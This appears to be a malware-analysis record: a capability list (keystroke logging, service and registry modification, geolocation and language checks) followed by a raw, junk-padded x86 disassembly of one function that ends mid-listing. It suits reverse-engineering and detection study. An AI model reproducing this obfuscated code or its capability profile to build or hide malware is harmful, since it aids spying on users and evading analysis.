Function at 0x10031891
Capabilities:
Check for time delay via queryperformancecounter
Check os version
Create pipe
Create process on windows
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get file attributes
Get file system object information
Get geographical location
Identify system language via api
Log keystrokes via polling
Modify service
Query or enumerate registry value
Query service status
Read .ini file
Set registry value
Set thread local storage value
Start service
Terminate process

Disassembly:
mov eax, 0x100833b3
call fcn.10083140
mov eax, 0x1444
call fcn.1007f8f0
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x58], ecx
inc esi
mov byte [ebp - 0x61], dl
mov dword [ebp - 0x24], esi
xor eax, eax
mov dword [ebp - 0x1c], 0x7f37c04c
push 4
mov dword [ebp - 0x1c], 0xf05f4326
mov dword [ebp - 0x1c], 0xb8fa48a2
pop ebx
mov dword [ebp - 0x1c], 0x11fb8eb5
push 6
mov dword [ebp - 0x1c], 0xabff5ecc
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x100318f1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1078], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100318e4
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10031908
mov eax, esi
mov dword [ebp - 0x1c], esi
xor ecx, ecx
cmp eax, 0x94ab
mov edi, dword [sym.imp.KERNEL32.dll_IsValidLocale]
setle cl
xor edx, edx
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
add eax, ecx
mov dword [ebp - 0x106c], eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x1003196e
push 0x24a3
push eax
call edi
xor eax, eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x1c], 0x7f37c04c
mov dword [ebp - 0x1c], 0xf05f4326
mov dword [ebp - 0x1c], 0xb8fa48a2
mov dword [ebp - 0x1c], 0x11fb8eb5
mov dword [ebp - 0x1c], 0xabff5ecc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100319b1
push 6
pop ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1090], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1003199f
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x100319c3
mov eax, esi
mov dword [ebp - 0x1c], esi
xor ecx, ecx
cmp eax, 0x94ab
setle cl
xor edx, edx
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
add eax, ecx
mov dword [ebp - 0x1084], eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x10031a23
push 0x24a3
push eax
call edi
xor eax, eax
or edx, 0xffffffff
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x24], 0xd8169b41
mov dword [ebp - 0x28], 0x7b364fe
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10031a5a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x138], 0x48261f9c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10031a42
xor eax, eax
mov dword [ebp - 0x3c], eax
push 3
pop ebx
cmp dword [ebp - 0x3c], eax
jl 0x10031c17
mov dword [ebp - 0x10], 0x37d45db3
mov dword [ebp - 0x1c], 0x11e9056f
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x10031c0e
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], 0x15e4
mov dword [ebp - 0x1c], 0xe4f9f010
mov dword [ebp - 0x14], 0x23668f78
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x24], 0xc46d767c
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x28], eax
je 0x10031ae6
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
cmp eax, esi
setg cl
xor eax, eax
cmp ecx, dword [ebp - 0x10]
jle 0x10031b6d
mov dword [ebp - 0x14], eax
jmp 0x10031b16
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb00], 0x5e3164c1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10031b05
mov eax, dword [ebp - 0xb00]
xor edx, edx
cmp eax, 0x6dc7
mov eax, dword [ebp - 0xafc]
setle dl
xor ecx, ecx
cmp eax, edx
mov edx, dword [ebp - 0x138]
setge cl
sub edx, ecx
neg edx
sbb edx, edx
xor eax, eax
add edx, 9
cmp edx, 0xf7f2
setg al
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
cmp eax, edx
setge cl
mov dword [ebp - 0x14], ecx
jmp 0x10031bfa
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x4c], 0xbb39d90d
mov dword [ebp - 0x14], eax
jmp 0x10031b8d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x85c], 0x6aef
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10031b7c
mov eax, dword [ebp - 0x85c]
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x858]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, edx
setle cl
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x14], 0x58db2edf
mov dword [ebp - 0x1c], 0xb43c6211
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x1c]
sub edx, eax
mov eax, dword [ebp - 0x14]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, 0x46fedea8
setl cl
xor edx, edx
cmp eax, ecx
setg dl
xor eax, eax
cmp edx, 0x519c81b9
sete al
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10031c09
dec dword [ebp - 0x10]
push 0
pop eax
push 0xffffffffffffffff
pop edx
jns 0x10031a86
xor eax, eax
or edx, 0xffffffff
dec dword [ebp - 0x3c]
jns 0x10031a69
mov dword [ebp - 0x24], eax
jmp 0x10031c40
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10031c3d
push 0x1f1b
push eax
push 0x812
push 0x192c
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
xor eax, eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffeb
jle 0x10031c1c
mov dword [ebp - 0x44], 0x3b91
mov dword [ebp - 0x44], 0x8d4081c2
mov dword [ebp - 0x1c], 9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10031c7b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x12c4], 0xe7937d8e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10031c63
xor eax, eax
push 4
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10031c9a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x13a0], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10031c86
xor eax, eax
inc dword [ebp - 0x1c]
mov dword [ebp - 0x24], 0xf6af1124
push 6
mov dword [ebp - 0x1c], 0x89226c31
pop ecx
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], 0xfffffff3
jle 0x10031cfe
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10031cc7
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x24]
xor edx, edx
imul ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
push 0
cmp eax, ecx
setle dl
xor ecx, ecx
cmp edx, 0x91
setg cl
xor eax, eax
or edx, 0xffffffff
cmp ecx, edx
setne al
mov dword [ebp - 0x1c], eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff3
pop eax
jg 0x10031cb7
jmp 0x10031d01
or edx, 0xffffffff
mov dword [ebp - 0x24], esi
xor eax, eax
mov dword [ebp - 0x1c], 0x7f37c04c
mov dword [ebp - 0x10], 0x622ba394
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10031d33
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5f4], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10031d1f
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10031d53
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb18], 0x7525d2d9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10031d3b
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jg 0x10031dc8
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10031d6f
push 0x1c7d
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
mov eax, dword [ebp - 0x10]
mov ecx, 0x2337
push 0
mov eax, dword [ebp + eax*4 - 0x5f4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x5f4]
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp + eax*4 - 0x5f4]
mov eax, dword [ebp - 0x10]
sub ecx, eax
xor eax, eax
cmp edx, ecx
setle al
xor ecx, ecx
cmp eax, 0x63e31551
setne cl
xor eax, eax
cmp ecx, 0xfffffffc
setge al
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0xb18], eax
inc dword [ebp - 0x10]
pop eax
cmp dword [ebp - 0x10], esi
jle 0x10031d5b
push 2
pop ecx
mov dword [ebp - 0x1c], 0xf05f4326
mov dword [ebp - 0x34], 0xb999fb02
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x28], 0x2b7b
mov dword [ebp - 0x38], 0x531e
mov dword [ebp - 0x1c], 0x9606
mov dword [ebp - 0x44], 0x8f497c3
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10031e15
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x140], 0x89a9b8fa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10031dfd
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10031e35
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x204], 0x707e294
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10031e1d
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10031e64
mov eax, dword [ebp - 0x204]
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x204]
dec dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x204]
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x204]
mov eax, dword [ebp - 0x140]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
sete cl
mov dword [ebp - 0x140], ecx
mov ecx, esi
mov eax, dword [ebp - 0x204]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
sub ecx, eax
mov eax, dword [ebp - 0x34]
neg ecx
sbb ecx, ecx
neg ecx
cmp ecx, 0xffff
sbb ecx, ecx
xor edx, edx
inc ecx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x204]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x200]
setl cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x34]
add eax, 2
cmp eax, ecx
setne dl
add edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x1c], 0xb8fa48a2
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x34], 0xe81a7ecc
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jne 0x10031f06
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
je 0x10031f06
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10031f0f
mov eax, esi
cmp eax, dword [ebp - 0x34]
jle 0x10031f56
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10031f36
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xed4], 0x6ddcd166
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10031f1e
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x10031f4c
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xed4], 0xbdbdf7cd
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x10031f3b
jmp 0x1003204d
or eax, 0xffffffff
mov dword [ebp - 0x28], 0xd8ff8cd3
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10031f85
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x100c], 0x94486cae
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10031f6d
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10031fa7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb2c], 0xfffffffb
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10031f8e
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10031fbe
push 0xeaf
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jne 0x1003204d
jmp 0x10031fce
xor eax, eax
mov dword [ebp - 0x10], eax
xor ebx, ebx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
setge bl
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
xor edx, edx
cmp ebx, ecx
setle dl
sub edx, dword [ebp - 0x10]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, esi
setge al
xor ecx, ecx
cmp eax, 0xf4c6
setne cl
xor eax, eax
mov dword [ebp - 0x100c], ecx
test ecx, ecx
je 0x10032032
mov ecx, esi
cmp dword [ebp - 0x10], eax
jne 0x10032034
mov ecx, eax
mov eax, dword [ebp - 0x10]
sub eax, ecx
mov dword [ebp - 0xb28], eax
mov eax, dword [ebp - 0x10]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
je 0x10031fcc
push 3
pop ebx
mov eax, dword [ebp - 0x34]
mov edx, 0xb14898d0
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x1c], 0x11fb8eb5
mov dword [ebp - 0x10], 0x1c1ec2db
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], 0xc309ab83
mov dword [ebp - 0x44], 0x3ec3e1b8
push 8
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], edx
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0x2c], ecx
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x100320c6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe88], 0xa049fe38
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100320ae
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jg 0x10032127
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x10], eax
je 0x100320f2
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0xe88]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], 0x2d517a85
mov eax, dword [ebp - 0x10]
push 0
mov ecx, dword [ebp + eax*4 - 0xe88]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
pop eax
setg dl
mov dword [ebp - 0x1c], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x100320ce
dec dword [ebp - 0x2c]
mov dword [ebp - 0x1c], 0xabff5ecc
mov dword [ebp - 0x1c], 0xb7f609b2
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10032158
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7e0], 0xb9b55bb2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10032140
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10032178
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x320], 0xe2236432
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10032160
xor eax, eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 2
jg 0x100321da
mov eax, dword [ebp - 0x31c]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x7e0]
mov eax, dword [ebp - 0x31c]
mov edx, dword [ebp + eax*4 - 0x7e0]
mov eax, dword [ebp - 0x7dc]
sub edx, eax
mov eax, dword [ebp - 0x318]
cmp edx, eax
mov eax, dword [ebp - 0x7e0]
setl cl
xor edx, edx
cmp ecx, 0xfffffffb
setge dl
sub edx, eax
mov dword [ebp - 0x1c], edx
inc dword [ebp - 0x31c]
cmp dword [ebp - 0x31c], 2
jle 0x10032187
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x100321fc
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11f0], 0x26bdde0b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100321e3
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1003221c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7a4], 0xbe8e56f9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10032204
xor eax, eax
mov dword [ebp - 0x7a0], esi
cmp dword [ebp - 0x7a0], eax
jl 0x10032283
mov dword [ebp - 0x14], 0x23ed15d
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10032244
push eax
push eax
call dword [sym.imp.USER32.dll_EnumWindows]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10032276
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10032273
push eax
push 0x12c3
push 0xbc8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x10032249
dec dword [ebp - 0x7a0]
jns 0x1003222a
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x1003229b
push eax
push 0x3df
push eax
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
xor eax, eax
push 4
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x100322b4
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x10a8], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100322a3
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x100322cb
mov eax, esi
mov dword [ebp - 0x1c], esi
xor ecx, ecx
cmp eax, 0x94ab
setle cl
xor edx, edx
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
add eax, ecx
mov dword [ebp - 0x109c], eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x1003232b
push 0x24a3
push eax
call edi
xor eax, eax
or edx, 0xffffffff
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x24], 0xd8169b41
mov dword [ebp - 0x28], 0x7b364fe
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10032362
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x144], 0x48261f9c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003234a
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jl 0x1003251c
mov dword [ebp - 0x10], 0x37d45db3
mov dword [ebp - 0x1c], 0x11e9056f
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x10032513
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], 0x15e4
mov dword [ebp - 0x1c], 0xe4f9f010
mov dword [ebp - 0x14], 0x23668f78
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x144]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x144]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], esi
cmp dword [ebp - 0x24], 0xc46d767c
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x28], eax
je 0x100323eb
mov eax, dword [ebp - 0x144]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
cmp eax, esi
setg cl
xor eax, eax
cmp ecx, dword [ebp - 0x10]
jle 0x10032472
mov dword [ebp - 0x14], eax
jmp 0x1003241b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd34], 0x5e3164c1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1003240a
mov eax, dword [ebp - 0xd34]
xor edx, edx
cmp eax, 0x6dc7
mov eax, dword [ebp - 0xd30]
setle dl
xor ecx, ecx
cmp eax, edx
mov edx, dword [ebp - 0x144]
setge cl
sub edx, ecx
neg edx
sbb edx, edx
xor eax, eax
add edx, 9
cmp edx, 0xf7f2
setg al
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
cmp eax, edx
setge cl
mov dword [ebp - 0x14], ecx
jmp 0x100324ff
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x4c], 0xbb39d90d
mov dword [ebp - 0x14], eax
jmp 0x10032492
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x83c], 0x6aef
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10032481
mov eax, dword [ebp - 0x83c]
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x838]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, edx
setle cl
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x14], 0x58db2edf
mov dword [ebp - 0x1c], 0xb43c6211
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x1c]
sub edx, eax
mov eax, dword [ebp - 0x14]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, 0x46fedea8
setl cl
xor edx, edx
cmp eax, ecx
setg dl
xor eax, eax
cmp edx, 0x519c81b9
sete al
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1003250e
dec dword [ebp - 0x10]
push 0
pop eax
push 0xffffffffffffffff
pop edx
jns 0x1003238b
xor eax, eax
or edx, 0xffffffff
dec dword [ebp - 0x3c]
jns 0x1003236e
mov dword [ebp - 0x24], eax
jmp 0x10032545
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10032542
push 0x1f1b
push eax
push 0x812
push 0x192c
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
xor eax, eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffeb
jle 0x10032521
mov dword [ebp - 0x14], 0xaeef20fe
mov dword [ebp - 0x1c], 0x4d63a88e
mov dword [ebp - 0x44], 0x9989d221
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10032580
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb10], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10032568
xor eax, eax
push 2
pop ecx
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], eax
jl 0x100325cc
push 4
pop esi
mov dword [ebp - 0x3c], 0xd37ad435
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], eax
jl 0x100325c4
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + eax*4 - 0xb10]
cmp ecx, esi
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xb10], ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x1c], eax
dec dword [ebp - 0x3c]
jns 0x1003259d
push 2
xor eax, eax
pop ecx
dec dword [ebp - 0x14]
jns 0x1003258e
xor esi, esi
inc esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x1c], 0x336de018
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x100325f9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x314], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100325e1
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1003260b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x458], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100325fe
mov eax, dword [ebp - 0x314]
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x454]
mov eax, dword [ebp - 0x314]
sub eax, 0x50a4049a
